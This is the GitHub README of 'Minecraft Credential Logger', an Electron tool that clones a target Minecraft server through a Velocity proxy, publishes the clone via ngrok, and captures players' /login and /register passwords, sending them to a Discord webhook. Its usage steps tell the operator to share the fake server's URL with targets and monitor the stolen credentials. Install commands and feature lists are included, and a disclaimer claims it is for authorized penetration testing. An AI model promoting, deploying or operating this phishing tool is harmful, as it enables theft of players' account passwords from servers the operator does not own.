Skip to content

A tool written in javascript that, through the reverse proxy functions of velocity, is able to create a clone server identical to the original that intercepts the passwords of /login and /register

License

Notifications You must be signed in to change notification settings

itsreyi/Minecraft-Credential-Logger

Repository files navigation

Minecraft Credential Logger

Minecraft Credential Logger

GitHub release License Node.js Java

Professional Minecraft server credential capture tool for authorized penetration testing

๐ŸŽฏ Overview

Minecraft Credential Logger is a sophisticated penetration testing tool designed for authorized security assessments of Minecraft servers. It creates a perfect clone of any target server using Velocity proxy technology, capturing authentication credentials when players attempt to log in.

Key Features

  • ๐Ÿš€ Automated Server Cloning - One-click replication of any Minecraft server
  • ๐Ÿ” Advanced Server Scanning - Comprehensive target analysis and compatibility detection
  • ๐ŸŽฎ Universal Version Support - Compatible with Minecraft 1.7.2 through 1.21+ via ViaVersion
  • ๐ŸŒ Public Tunneling - Automatic ngrok integration for global accessibility
  • ๐Ÿ” Real-time Credential Capture - Live monitoring of /login and /register commands
  • ๐Ÿ’ฌ Discord Integration - Instant webhook notifications for captured credentials
  • ๐Ÿ–ฅ๏ธ Modern GUI Interface - Professional Electron-based desktop application
  • ๐Ÿ“Š Statistics Dashboard - Comprehensive analytics and performance monitoring
  • ๐Ÿ”„ Multi-Server Support - Quick switching between different target servers

๐Ÿ› ๏ธ Technical Architecture

Core Components

  • Electron Frontend - Modern dark-themed GUI with real-time updates
  • Velocity Proxy Server - High-performance Minecraft proxy for server cloning
  • Protocol Handler - minecraft-protocol integration for server communication
  • Credential Engine - Advanced pattern matching for authentication capture
  • Discord Webhook - Automated notifications and alert system
  • Ngrok Tunneling - Secure public access through encrypted tunnels

Supported Features

  • โœ… MOTD Replication - Perfect message-of-the-day cloning with color codes
  • โœ… Favicon Extraction - Automatic server icon capture and display
  • โœ… Player Count Spoofing - Real-time player statistics mirroring
  • โœ… Plugin Detection - Identification of authentication systems (AuthMe, etc.)
  • โœ… Version Compatibility - Support for all Minecraft client versions
  • โœ… Connection Monitoring - Real-time player connection tracking
  • โœ… Command Logging - Comprehensive chat command analysis
  • โœ… Data Export - JSON export functionality for captured credentials

๐Ÿš€ Quick Start

Prerequisites

  • Node.js 18.0.0 or higher
  • Java 17 or higher (OpenJDK recommended)
  • Internet Connection for ngrok tunneling
  • Discord Server (optional, for webhook notifications)

Installation

  1. Clone the repository

    git clone https://github.com/itsreyi/Minecraft-Credential-Logger.git
    cd Minecraft-Credential-Logger
  2. Install dependencies

    npm install
  3. Launch the application

    npm start

Basic Usage

  1. Enter target server details (host and port)
  2. Click "Scan Server" to analyze the target
  3. Click "Start Cloner" to begin the cloning process
  4. Share the generated public URL with targets
  5. Monitor captured credentials in real-time

For detailed setup instructions, see INSTALLATION.md

๐Ÿ“– Documentation

๐Ÿ”’ Security & Legal Notice

โš ๏ธ IMPORTANT DISCLAIMER

This tool is designed exclusively for authorized penetration testing and security research. Users are responsible for ensuring they have explicit permission before testing any server.

Legal Requirements

  • โœ… Written Authorization - Obtain explicit permission from server owners
  • โœ… Scope Documentation - Clearly define testing boundaries and limitations
  • โœ… Responsible Disclosure - Report findings through proper channels
  • โœ… Data Protection - Secure handling of captured credentials
  • โŒ Unauthorized Use - Using this tool without permission is illegal

Ethical Guidelines

  • Only test servers you own or have explicit permission to test
  • Immediately report security vulnerabilities to server administrators
  • Delete captured data after testing completion
  • Respect user privacy and data protection regulations
  • Follow responsible disclosure practices for vulnerability reporting

๐ŸŽฎ Compatible Minecraft Versions

Client Version Server Support Notes
1.21+ โœ… Full Support Latest protocol support
1.20.x โœ… Full Support Complete compatibility
1.19.x โœ… Full Support Chat signing handled
1.18.x โœ… Full Support Height limit changes supported
1.17.x โœ… Full Support Copper age compatibility
1.16.x โœ… Full Support Nether update features
1.15.x โœ… Full Support Bee update compatibility
1.14.x โœ… Full Support Village & Pillage support
1.13.x โœ… Full Support Aquatic update handled
1.12.x โœ… Full Support World of Color support
1.8.x - 1.11.x โœ… Legacy Support Via ViaBackwards plugin
1.7.2 - 1.7.10 โšก Experimental Limited feature set

๐Ÿ“Š Performance Metrics

System Requirements

  • Minimum RAM: 2GB available memory
  • Recommended RAM: 4GB+ for optimal performance
  • CPU: Multi-core processor recommended
  • Storage: 1GB free disk space
  • Network: Stable internet connection (10+ Mbps)

Performance Benchmarks

  • Server Scanning: < 5 seconds for most servers
  • Cloning Setup: 30-60 seconds (including downloads)
  • Credential Capture: Real-time (< 100ms latency)
  • Tunnel Creation: 10-30 seconds depending on region
  • Memory Usage: ~200MB base + ~50MB per active connection

๐Ÿ› ๏ธ Development

Project Structure

minecraft-credential-logger/
โ”œโ”€โ”€ assets/                  # Application assets
โ”‚   โ””โ”€โ”€ Logo.png            # Application logo
โ”œโ”€โ”€ renderer/               # Frontend GUI components
โ”‚   โ”œโ”€โ”€ index.html         # Main interface
โ”‚   โ”œโ”€โ”€ styles.css         # Dark theme styling
โ”‚   โ””โ”€โ”€ renderer.js        # Frontend JavaScript logic
โ”œโ”€โ”€ velocity-server/        # Minecraft proxy server
โ”‚   โ”œโ”€โ”€ velocity.jar       # Velocity 3.3.0-436
โ”‚   โ”œโ”€โ”€ velocity.toml      # Proxy configuration
โ”‚   โ”œโ”€โ”€ plugins/           # ViaVersion compatibility plugins
โ”‚   โ””โ”€โ”€ logs/              # Server operation logs
โ”œโ”€โ”€ main.js                # Electron main process
โ”œโ”€โ”€ minecraft-cloner.js    # Core cloning system
โ””โ”€โ”€ package.json           # Project dependencies

Building from Source

# Development mode with DevTools
npm run dev

# Build for production
npm run build

# Console-only mode
npm run console <host> <port>

Contributing

  1. Fork the repository
  2. Create a feature branch (git checkout -b feature/amazing-feature)
  3. Commit your changes (git commit -m 'Add amazing feature')
  4. Push to the branch (git push origin feature/amazing-feature)
  5. Open a Pull Request

๐Ÿ”ง Troubleshooting

Common Issues

Issue Solution
Java not found Install OpenJDK 17+ and add to PATH
Port already in use Kill existing Java processes or change port
Ngrok connection failed Check firewall settings and internet connection
No credentials captured Verify target server uses supported authentication
Discord webhook not working Check webhook URL and Discord permissions

For detailed troubleshooting, see the WIKI.md troubleshooting section.

๐Ÿ“ˆ Changelog

Version 1.0.0 (Current)

  • โœ… Initial release with full GUI interface
  • โœ… Automatic Velocity server setup and configuration
  • โœ… ViaVersion/ViaBackwards integration for universal compatibility
  • โœ… Real-time credential capture with Discord notifications
  • โœ… Ngrok tunnel integration for public access
  • โœ… Advanced server scanning and MOTD replication
  • โœ… Multi-server support with quick switching
  • โœ… Comprehensive statistics and monitoring dashboard

๐Ÿค Support

Getting Help

  • ๐Ÿ“– Documentation: Check INSTALLATION.md and WIKI.md
  • ๐Ÿ› Bug Reports: Open an issue with detailed reproduction steps
  • ๐Ÿ’ก Feature Requests: Describe your use case and requirements
  • ๐Ÿ”’ Security Issues: Report privately via email

Community

  • GitHub Issues: Technical support and bug reports
  • Discussions: Feature requests and general questions
  • Discord: Community chat and real-time support (link in releases)

๐Ÿ“„ License

This project is licensed under the MIT License - see the LICENSE file for details.

โš–๏ธ Disclaimer

This tool is provided for educational and authorized testing purposes only. The authors and contributors are not responsible for any misuse or damage caused by this tool. Users must ensure they have proper authorization before testing any systems and must comply with all applicable laws and regulations.


Remember: Always test responsibly and with proper authorization!
Built with โค๏ธ for the cybersecurity community

About

A tool written in javascript that, through the reverse proxy functions of velocity, is able to create a clone server identical to the original that intercepts the passwords of /login and /register

Resources

License

Stars

Watchers

Forks